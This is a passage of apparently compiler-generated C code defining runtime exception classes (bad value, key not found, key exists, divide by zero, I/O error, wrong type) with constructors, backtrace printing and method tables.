*Yalz__YwtA__YRHR(Yalz *t, Tc *Amsg) { Zsf sf; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) {sf.pos=6059300; t = Za(sizeof(Yalz));} sf.pos=6059301; t->Vmessage = Amsg; sf.pos=6059302; t->Vpos = MZ__callerPos(); sf.pos=6059303; t->Vbacktrace = (sf.pos=6059304, MZ__backtrace(1, -1)); topFrame = sf.prev; return t; } void Yalz__YwtA__YxaJa(Yalz *t, Tb Averbose, Tr Aw) { Zsf sf; Tl *Zf2 = NULL; YkxB *Vpos = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=4617100; ZthrowThisNil(); } sf.pos=4617101; Yalz__YwtA__YxaJ(t, Aw); sf.pos=4617102; if ((Averbose && (t->Vbacktrace != NULL))) { sf.pos=4617103; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&Y62e)); sf.pos=4617104; { Tfl Zf2i; Zf2 = t->Vbacktrace; Zf2i.l = Zf2; Zf2i.valp = (void*)&Vpos; Zf2i.i = 0; for (; ZforListPtrCont(&Zf2i); ) { sf.pos=4617105; if ((Vpos->Vfilename == NULL)) { sf.pos=4617106; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&Yv6_)); } else { sf.pos=4617107; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&Yk)); sf.pos=4617108; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, YpI_(Vpos)); sf.pos=4617109; if ((Vpos->Vtext != NULL)) { sf.pos=4617110; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&YFDa)); sf.pos=4617111; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, Vpos->Vtext); } } sf.pos=4617112; } } } topFrame = sf.prev; return; } void Yalz__YwtA__YxaJ(Yalz *t, Tr Aw) { Zsf sf; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=5637200; ZthrowThisNil(); } sf.pos=5637201; if ((t->Vpos != NULL)) { sf.pos=5637202; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, YpI_(t->Vpos)); sf.pos=5637203; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&YFDa)); } sf.pos=5637204; if (((t->Vmessage != NULL) && (ZbyteStringSize(t->Vmessage) != 0))) { sf.pos=5637205; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&YHbP)); sf.pos=5637206; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, t->Vmessage); } else { sf.pos=5637207; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&YDGe)); } topFrame = sf.prev; return; } Tc *Yalz__Ytlm_I_imt[] = { (Tc*)&Yalz__T, (Tc*)0, (Tc*)0, (Tc*)0, (Tc*)0, /* MEModule__CBadValue.NEW - Yalz__YwtA__YRHRa */ (Tc*)Yalz__YwtA__YRHR, /* MEModule__CBadValue.NEW - Yalz__YwtA__YRHR */ (Tc*)0, /* MEModule__CBadValue.ToString - Yalz__YwtA__YH0V */ (Tc*)Yalz__YwtA__YxaJa, /* MEModule__CBadValue.writeTo - Yalz__YwtA__YxaJa */ (Tc*)Yalz__YwtA__YxaJ, /* MEModule__CBadValue.writeTo - Yalz__YwtA__YxaJ */ (Tc*)0, /* MEModule__CBadValue.toString - Yalz__YwtA__Yoww */ (Tc*)0, /* MEModule__CBadValue.getMessage - Yalz__YwtA__YCzX */ (Tc*)0, /* MEModule__CBadValue.getPos - Yalz__YwtA__YvCK */ (Tc*)0, /* MEModule__CBadValue.getBacktrace - Yalz__YwtA__Y4bq */ (Tc*)0, /* Init - Yalza */ }; To ToYalz[] = { {3, 0}, {0, (Tt*)&string__T}, /* message */ {0, (Tt*)&YkxB__T}, /* pos */ {0, (Tt*)&list__T}, /* backtrace */ }; Tto Yalz__T = {390, (Tc*)&YEZq, 0, ToYalz}; void Yaez(Tc *Atext) { Tr ex; Tr t0 = {NULL}; *Znao(&ex, Yalz__YwtA__YRHR(NULL, Atext), Yalz__Ytlm_I_imt, 10); ZthrowIobject(ex); } Y2EX *Y2EX__Yalz__YwtA__YRHR(Y2EX *t, Tc *Amsg) { Zsf sf; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) {sf.pos=2958500; t = Za(sizeof(Y2EX));} sf.pos=2958501; t->Vmessage = Amsg; sf.pos=2958502; t->Vpos = MZ__callerPos(); sf.pos=2958503; t->Vbacktrace = (sf.pos=2958504, MZ__backtrace(1, -1)); topFrame = sf.prev; return t; } void Y2EX__Yalz__YwtA__YxaJ(Y2EX *t, Tr Aw) { Zsf sf; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=4312400; ZthrowThisNil(); } sf.pos=4312401; if ((t->Vpos != NULL)) { sf.pos=4312402; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, YpI_(t->Vpos)); sf.pos=4312403; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&YFDa)); } sf.pos=4312404; if (((t->Vmessage != NULL) && (ZbyteStringSize(t->Vmessage) != 0))) { sf.pos=4312405; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&YHbP)); sf.pos=4312406; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, t->Vmessage); } else { sf.pos=4312407; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&YDGe)); } topFrame = sf.prev; return; } void Y2EX__Yalz__YwtA__YxaJa(Y2EX *t, Tb Averbose, Tr Aw) { Zsf sf; Tl *Zf2 = NULL; YkxB *Vpos = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=5332500; ZthrowThisNil(); } sf.pos=5332501; Y2EX__Yalz__YwtA__YxaJ(t, Aw); sf.pos=5332502; if ((Averbose && (t->Vbacktrace != NULL))) { sf.pos=5332503; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&Y62e)); sf.pos=5332504; { Tfl Zf2i; Zf2 = t->Vbacktrace; Zf2i.l = Zf2; Zf2i.valp = (void*)&Vpos; Zf2i.i = 0; for (; ZforListPtrCont(&Zf2i); ) { sf.pos=5332505; if ((Vpos->Vfilename == NULL)) { sf.pos=5332506; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&Yv6_)); } else { sf.pos=5332507; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&Yk)); sf.pos=5332508; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, YpI_(Vpos)); sf.pos=5332509; if ((Vpos->Vtext != NULL)) { sf.pos=5332510; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&YFDa)); sf.pos=5332511; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, Vpos->Vtext); } } sf.pos=5332512; } } } topFrame = sf.prev; return; } Tc *Y2EX__Ytlm_I_imt[] = { (Tc*)&Y2EX__T, (Tc*)0, (Tc*)0, (Tc*)0, (Tc*)0, /* MEModule__CKeyNotFound.NEW - Y2EX__Yalz__YwtA__YRHRa */ (Tc*)Y2EX__Yalz__YwtA__YRHR, /* MEModule__CKeyNotFound.NEW - Y2EX__Yalz__YwtA__YRHR */ (Tc*)0, /* MEModule__CKeyNotFound.ToString - Y2EX__Yalz__YwtA__YH0V */ (Tc*)Y2EX__Yalz__YwtA__YxaJa, /* MEModule__CKeyNotFound.writeTo - Y2EX__Yalz__YwtA__YxaJa */ (Tc*)Y2EX__Yalz__YwtA__YxaJ, /* MEModule__CKeyNotFound.writeTo - Y2EX__Yalz__YwtA__YxaJ */ (Tc*)0, /* MEModule__CKeyNotFound.toString - Y2EX__Yalz__YwtA__Yoww */ (Tc*)0, /* MEModule__CKeyNotFound.getMessage - Y2EX__Yalz__YwtA__YCzX */ (Tc*)0, /* MEModule__CKeyNotFound.getPos - Y2EX__Yalz__YwtA__YvCK */ (Tc*)0, /* MEModule__CKeyNotFound.getBacktrace - Y2EX__Yalz__YwtA__Y4bq */ (Tc*)0, /* Init - Y2EXa */ }; To ToY2EX[] = { {3, 0}, {0, (Tt*)&string__T}, /* message */ {0, (Tt*)&YkxB__T}, /* pos */ {0, (Tt*)&list__T}, /* backtrace */ }; Tto Y2EX__T = {390, (Tc*)&YRiW, 0, ToY2EX}; void Yxmk(Ti Akey, Tc *Amsg) { Tr ex; Tr t0 = {NULL}; *Znao(&ex, Y2EX__Yalz__YwtA__YRHR(NULL, ZcS3(Amsg, ((Tc*)&Ym6C), Zint2string(Akey))), Y2EX__Ytlm_I_imt, 12); ZthrowIobject(ex); } void Y5LT(Tc *Akey, Tc *Amsg) { Tr ex; Tr t0 = {NULL}; *Znao(&ex, Y2EX__Yalz__YwtA__YRHR(NULL, ZcS5(Amsg, ((Tc*)&YJ3Y), Akey, ((Tc*)&YI), (Tc*)1)), Y2EX__Ytlm_I_imt, 12); ZthrowIobject(ex); } YX0i *YX0i__Yalz__YwtA__YRHR(YX0i *t, Tc *Amsg) { Zsf sf; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) {sf.pos=8500000; t = Za(sizeof(YX0i));} sf.pos=8500001; t->Vmessage = Amsg; sf.pos=8500002; t->Vpos = MZ__callerPos(); sf.pos=8500003; t->Vbacktrace = (sf.pos=8500004, MZ__backtrace(1, -1)); topFrame = sf.prev; return t; } void YX0i__Yalz__YwtA__YxaJ(YX0i *t, Tr Aw) { Zsf sf; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=1471500; ZthrowThisNil(); } sf.pos=1471501; if ((t->Vpos != NULL)) { sf.pos=1471502; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, YpI_(t->Vpos)); sf.pos=1471503; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&YFDa)); } sf.pos=1471504; if (((t->Vmessage != NULL) && (ZbyteStringSize(t->Vmessage) != 0))) { sf.pos=1471505; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&YHbP)); sf.pos=1471506; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, t->Vmessage); } else { sf.pos=1471507; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&YDGe)); } topFrame = sf.prev; return; } void YX0i__Yalz__YwtA__YxaJa(YX0i *t, Tb Averbose, Tr Aw) { Zsf sf; Tl *Zf2 = NULL; YkxB *Vpos = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=2491600; ZthrowThisNil(); } sf.pos=2491601; YX0i__Yalz__YwtA__YxaJ(t, Aw); sf.pos=2491602; if ((Averbose && (t->Vbacktrace != NULL))) { sf.pos=2491603; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&Y62e)); sf.pos=2491604; { Tfl Zf2i; Zf2 = t->Vbacktrace; Zf2i.l = Zf2; Zf2i.valp = (void*)&Vpos; Zf2i.i = 0; for (; ZforListPtrCont(&Zf2i); ) { sf.pos=2491605; if ((Vpos->Vfilename == NULL)) { sf.pos=2491606; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&Yv6_)); } else { sf.pos=2491607; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&Yk)); sf.pos=2491608; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, YpI_(Vpos)); sf.pos=2491609; if ((Vpos->Vtext != NULL)) { sf.pos=2491610; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&YFDa)); sf.pos=2491611; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, Vpos->Vtext); } } sf.pos=2491612; } } } topFrame = sf.prev; return; } Tc *YX0i__Ytlm_I_imt[] = { (Tc*)&YX0i__T, (Tc*)0, (Tc*)0, (Tc*)0, (Tc*)0, /* MEModule__CKeyExists.NEW - YX0i__Yalz__YwtA__YRHRa */ (Tc*)YX0i__Yalz__YwtA__YRHR, /* MEModule__CKeyExists.NEW - YX0i__Yalz__YwtA__YRHR */ (Tc*)0, /* MEModule__CKeyExists.ToString - YX0i__Yalz__YwtA__YH0V */ (Tc*)YX0i__Yalz__YwtA__YxaJa, /* MEModule__CKeyExists.writeTo - YX0i__Yalz__YwtA__YxaJa */ (Tc*)YX0i__Yalz__YwtA__YxaJ, /* MEModule__CKeyExists.writeTo - YX0i__Yalz__YwtA__YxaJ */ (Tc*)0, /* MEModule__CKeyExists.toString - YX0i__Yalz__YwtA__Yoww */ (Tc*)0, /* MEModule__CKeyExists.getMessage - YX0i__Yalz__YwtA__YCzX */ (Tc*)0, /* MEModule__CKeyExists.getPos - YX0i__Yalz__YwtA__YvCK */ (Tc*)0, /* MEModule__CKeyExists.getBacktrace - YX0i__Yalz__YwtA__Y4bq */ (Tc*)0, /* Init - YX0ia */ }; To ToYX0i[] = { {3, 0}, {0, (Tt*)&string__T}, /* message */ {0, (Tt*)&YkxB__T}, /* pos */ {0, (Tt*)&list__T}, /* backtrace */ }; Tto YX0i__T = {390, (Tc*)&Y9_h, 0, ToYX0i}; void YL9Z(Ti Akey, Tc *Amsg) { Tr ex; Tr t0 = {NULL}; *Znao(&ex, YX0i__Yalz__YwtA__YRHR(NULL, ZcS3(Amsg, ((Tc*)&Y9qa), Zint2string(Akey))), YX0i__Ytlm_I_imt, 14); ZthrowIobject(ex); } void YEeX(Tc *Akey, Tc *Amsg) { Tr ex; Tr t0 = {NULL}; *Znao(&ex, YX0i__Yalz__YwtA__YRHR(NULL, ZcS5(Amsg, ((Tc*)&YMKM), Akey, ((Tc*)&YI), (Tc*)1)), YX0i__Ytlm_I_imt, 14); ZthrowIobject(ex); } YzSI *YzSI__Ylz1__YwtA__YRHR(YzSI *t, Tc *Amsg) { Zsf sf; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) {sf.pos=7347100; t = Za(sizeof(YzSI));} sf.pos=7347101; t->Vmessage = Amsg; sf.pos=7347102; t->Vpos = MZ__callerPos(); sf.pos=7347103; t->Vbacktrace = (sf.pos=7347104, MZ__backtrace(1, -1)); topFrame = sf.prev; return t; } void YzSI__Ylz1__YwtA__YxaJ(YzSI *t, Tr Aw) { Zsf sf; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=4413000; ZthrowThisNil(); } sf.pos=4413001; if ((t->Vpos != NULL)) { sf.pos=4413002; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, YpI_(t->Vpos)); sf.pos=4413003; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&YFDa)); } sf.pos=4413004; if (((t->Vmessage != NULL) && (ZbyteStringSize(t->Vmessage) != 0))) { sf.pos=4413005; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&YHbP)); sf.pos=4413006; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, t->Vmessage); } else { sf.pos=4413007; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&YDGe)); } topFrame = sf.prev; return; } void YzSI__Ylz1__YwtA__YxaJa(YzSI *t, Tb Averbose, Tr Aw) { Zsf sf; Tl *Zf2 = NULL; YkxB *Vpos = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=5433100; ZthrowThisNil(); } sf.pos=5433101; YzSI__Ylz1__YwtA__YxaJ(t, Aw); sf.pos=5433102; if ((Averbose && (t->Vbacktrace != NULL))) { sf.pos=5433103; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&Y62e)); sf.pos=5433104; { Tfl Zf2i; Zf2 = t->Vbacktrace; Zf2i.l = Zf2; Zf2i.valp = (void*)&Vpos; Zf2i.i = 0; for (; ZforListPtrCont(&Zf2i); ) { sf.pos=5433105; if ((Vpos->Vfilename == NULL)) { sf.pos=5433106; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&Yv6_)); } else { sf.pos=5433107; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&Yk)); sf.pos=5433108; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, YpI_(Vpos)); sf.pos=5433109; if ((Vpos->Vtext != NULL)) { sf.pos=5433110; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&YFDa)); sf.pos=5433111; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, Vpos->Vtext); } } sf.pos=5433112; } } } topFrame = sf.prev; return; } Tc *YzSI__Ytlm_I_imt[] = { (Tc*)&YzSI__T, (Tc*)0, (Tc*)0, (Tc*)0, (Tc*)0, /* MEModule__CDivideByZero.NEW - YzSI__Ylz1__YwtA__YRHRa */ (Tc*)YzSI__Ylz1__YwtA__YRHR, /* MEModule__CDivideByZero.NEW - YzSI__Ylz1__YwtA__YRHR */ (Tc*)0, /* MEModule__CDivideByZero.ToString - YzSI__Ylz1__YwtA__YH0V */ (Tc*)YzSI__Ylz1__YwtA__YxaJa, /* MEModule__CDivideByZero.writeTo - YzSI__Ylz1__YwtA__YxaJa */ (Tc*)YzSI__Ylz1__YwtA__YxaJ, /* MEModule__CDivideByZero.writeTo - YzSI__Ylz1__YwtA__YxaJ */ (Tc*)0, /* MEModule__CDivideByZero.toString - YzSI__Ylz1__YwtA__Yoww */ (Tc*)0, /* MEModule__CDivideByZero.getMessage - YzSI__Ylz1__YwtA__YCzX */ (Tc*)0, /* MEModule__CDivideByZero.getPos - YzSI__Ylz1__YwtA__YvCK */ (Tc*)0, /* MEModule__CDivideByZero.getBacktrace - YzSI__Ylz1__YwtA__Y4bq */ (Tc*)0, /* Init - YzSIa */ }; To ToYzSI[] = { {3, 0}, {0, (Tt*)&string__T}, /* message */ {0, (Tt*)&YkxB__T}, /* pos */ {0, (Tt*)&list__T}, /* backtrace */ }; Tto YzSI__T = {390, (Tc*)&YxFl, 0, ToYzSI}; YXKl *YXKl__YwtA__YRHR(YXKl *t, Tc *Amsg) { Zsf sf; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) {sf.pos=4829900; t = Za(sizeof(YXKl));} sf.pos=4829901; t->Vmessage = Amsg; sf.pos=4829902; t->Vpos = MZ__callerPos(); sf.pos=4829903; t->Vbacktrace = (sf.pos=4829904, MZ__backtrace(1, -1)); topFrame = sf.prev; return t; } void YXKl__YwtA__YxaJa(YXKl *t, Tb Averbose, Tr Aw) { Zsf sf; Tl *Zf2 = NULL; YkxB *Vpos = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=8968500; ZthrowThisNil(); } sf.pos=8968501; YXKl__YwtA__YxaJ(t, Aw); sf.pos=8968502; if ((Averbose && (t->Vbacktrace != NULL))) { sf.pos=8968503; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&Y62e)); sf.pos=8968504; { Tfl Zf2i; Zf2 = t->Vbacktrace; Zf2i.l = Zf2; Zf2i.valp = (void*)&Vpos; Zf2i.i = 0; for (; ZforListPtrCont(&Zf2i); ) { sf.pos=8968505; if ((Vpos->Vfilename == NULL)) { sf.pos=8968506; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&Yv6_)); } else { sf.pos=8968507; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&Yk)); sf.pos=8968508; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, YpI_(Vpos)); sf.pos=8968509; if ((Vpos->Vtext != NULL)) { sf.pos=8968510; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&YFDa)); sf.pos=8968511; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, Vpos->Vtext); } } sf.pos=8968512; } } } topFrame = sf.prev; return; } void YXKl__YwtA__YxaJ(YXKl *t, Tr Aw) { Zsf sf; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=9988600; ZthrowThisNil(); } sf.pos=9988601; if ((t->Vpos != NULL)) { sf.pos=9988602; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, YpI_(t->Vpos)); sf.pos=9988603; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&YFDa)); } sf.pos=9988604; if (((t->Vmessage != NULL) && (ZbyteStringSize(t->Vmessage) != 0))) { sf.pos=9988605; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&YHbP)); sf.pos=9988606; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, t->Vmessage); } else { sf.pos=9988607; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&YDGe)); } topFrame = sf.prev; return; } Tc *YXKl__Ytlm_I_imt[] = { (Tc*)&YXKl__T, (Tc*)0, (Tc*)0, (Tc*)0, (Tc*)0, /* MEModule__CIOError.NEW - YXKl__YwtA__YRHRa */ (Tc*)YXKl__YwtA__YRHR, /* MEModule__CIOError.NEW - YXKl__YwtA__YRHR */ (Tc*)0, /* MEModule__CIOError.ToString - YXKl__YwtA__YH0V */ (Tc*)YXKl__YwtA__YxaJa, /* MEModule__CIOError.writeTo - YXKl__YwtA__YxaJa */ (Tc*)YXKl__YwtA__YxaJ, /* MEModule__CIOError.writeTo - YXKl__YwtA__YxaJ */ (Tc*)0, /* MEModule__CIOError.toString - YXKl__YwtA__Yoww */ (Tc*)0, /* MEModule__CIOError.getMessage - YXKl__YwtA__YCzX */ (Tc*)0, /* MEModule__CIOError.getPos - YXKl__YwtA__YvCK */ (Tc*)0, /* MEModule__CIOError.getBacktrace - YXKl__YwtA__Y4bq */ (Tc*)0, /* Init - YXKla */ }; To ToYXKl[] = { {3, 0}, {0, (Tt*)&string__T}, /* message */ {0, (Tt*)&YkxB__T}, /* pos */ {0, (Tt*)&list__T}, /* backtrace */ }; Tto YXKl__T = {390, (Tc*)&YTj3, 0, ToYXKl}; YuDC *YdhH(YuDC *t) { Zsf sf; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) {sf.pos=8723500; t = Za(sizeof(YuDC));} sf.pos=8723501; t->Vmessage = ((Tc*)&Ynjz); sf.pos=8723502; t->Vpos = MZ__callerPos(); sf.pos=8723503; t->Vbacktrace = (sf.pos=8723504, MZ__backtrace(1, -1)); topFrame = sf.prev; return t; } void YuDC__YwtA__YxaJa(YuDC *t, Tb Averbose, Tr Aw) { Zsf sf; Tl *Zf2 = NULL; YkxB *Vpos = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=8681800; ZthrowThisNil(); } sf.pos=8681801; YuDC__YwtA__YxaJ(t, Aw); sf.pos=8681802; if ((Averbose && (t->Vbacktrace != NULL))) { sf.pos=8681803; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&Y62e)); sf.pos=8681804; { Tfl Zf2i; Zf2 = t->Vbacktrace; Zf2i.l = Zf2; Zf2i.valp = (void*)&Vpos; Zf2i.i = 0; for (; ZforListPtrCont(&Zf2i); ) { sf.pos=8681805; if ((Vpos->Vfilename == NULL)) { sf.pos=8681806; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&Yv6_)); } else { sf.pos=8681807; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&Yk)); sf.pos=8681808; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, YpI_(Vpos)); sf.pos=8681809; if ((Vpos->Vtext != NULL)) { sf.pos=8681810; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&YFDa)); sf.pos=8681811; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, Vpos->Vtext); } } sf.pos=8681812; } } } topFrame = sf.prev; return; } void YuDC__YwtA__YxaJ(YuDC *t, Tr Aw) { Zsf sf; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=9701900; ZthrowThisNil(); } sf.pos=9701901; if ((t->Vpos != NULL)) { sf.pos=9701902; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, YpI_(t->Vpos)); sf.pos=9701903; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&YFDa)); } sf.pos=9701904; if (((t->Vmessage != NULL) && (ZbyteStringSize(t->Vmessage) != 0))) { sf.pos=9701905; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&YHbP)); sf.pos=9701906; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, t->Vmessage); } else { sf.pos=9701907; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&YDGe)); } topFrame = sf.prev; return; } Tc *YuDC__Ytlm_I_imt[] = { (Tc*)&YuDC__T, (Tc*)0, (Tc*)0, (Tc*)0, (Tc*)0, /* MEModule__CWrongType.NEW - YuDC__YwtA__YRHRa */ (Tc*)0, /* MEModule__CWrongType.NEW - YuDC__YwtA__YRHR */ (Tc*)0, /* MEModule__CWrongType.ToString - YuDC__YwtA__YH0V */ (Tc*)YuDC__YwtA__YxaJa, /* MEModule__CWrongType.writeTo - YuDC__YwtA__YxaJa */ (Tc*)YuDC__YwtA__YxaJ, /* MEModule__CWrongType.writeTo - YuDC__YwtA__YxaJ */ (Tc*)0, /* MEModule__CWrongType.toString - YuDC__YwtA__Yoww */ (Tc*)0, /* MEModule__CWrongType.getMessage - YuDC__YwtA__YCzX */ (Tc*)0, /* MEModule__CWrongType.getPos - YuDC__YwtA__YvCK */ (Tc*)0, /* MEModule__CWrongType.getBacktrace - YuDC__YwtA__Y4bq */ (Tc*)0, /* Init - YuDCa */ }; To ToYuDC[] = { {3, 0}, {0, (Tt*)&string__T}, /* message */ {0, (Tt*)&YkxB__T}, /* pos */ {0, (Tt*)&list__T}, /* backtrace */ }; Tto YuDC__T = {390, (Tc*)&YCoZ, 0, ToYuDC}; void YTuG(Ti Apos) { Tr ex; YuDC *Ve = 0; Tr t0 = {NULL}; Ve = YdhH(NULL); Ve->Vpos = MZ__posnr2pos(NULL, Apos); *Znao(&ex, Ve, YuDC__Ytlm_I_imt, 24); ZthrowIobject(ex); } YrHq *YrHq__YwtA__YRHR(YrHq *t, Tc *Amsg) { Zsf sf; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) {sf.pos=7808200; t = Za(sizeof(YrHq));} sf.pos=7808201; t->Vmessage = Amsg; sf.pos=7808202; t->Vpos = MZ__callerPos(); sf.pos=7808203; t->Vbacktrace = (sf.pos=7808204, MZ__backtrace(1, -1)); topFrame = sf.prev; return t; } void YrHq__YwtA__YxaJa(YrHq *t, Tb Averbose, Tr Aw) { Zsf sf; Tl *Zf2 = NULL; YkxB *Vpos = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=41200; ZthrowThisNil(); } sf.pos=41201; YrHq__YwtA__YxaJ(t, Aw); sf.pos=41202; if ((Averbose && (t->Vbacktrace != NULL))) { sf.pos=41203; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&Y62e)); sf.pos=41204; { Tfl Zf2i; Zf2 = t->Vbacktrace; Zf2i.l = Zf2; Zf2i.valp = (void*)&Vpos; Zf2i.i = 0; for (; ZforListPtrCont(&Zf2i); ) { sf.pos=41205; if ((Vpos->Vfilename == NULL)) { sf.pos=41206; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&Yv6_)); } else { sf.pos=41207; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&Yk)); sf.pos=41208; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, YpI_(Vpos)); sf.pos=41209; if ((Vpos->Vtext != NULL)) { sf.pos=41210; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&YFDa)); sf.pos=41211; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, Vpos->Vtext); } } sf.pos=41212; } } } topFrame = sf.prev; return; } void YrHq__YwtA__YxaJ(YrHq *t, Tr Aw) { Zsf sf; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=1061300; ZthrowThisNil(); } sf.pos=1061301; if ((t->Vpos != NULL)) { sf.pos=1061302; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, YpI_(t->Vpos)); sf.pos=1061303; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&YFDa)); } sf.pos=1061304; if (((t->Vmessage != NULL) && (ZbyteStringSize(t->Vmessage) != 0))) { sf.pos=1061305; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&YHbP)); sf.pos=1061306; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, t->Vmessage); } else { sf.pos=1061307; ((Ts 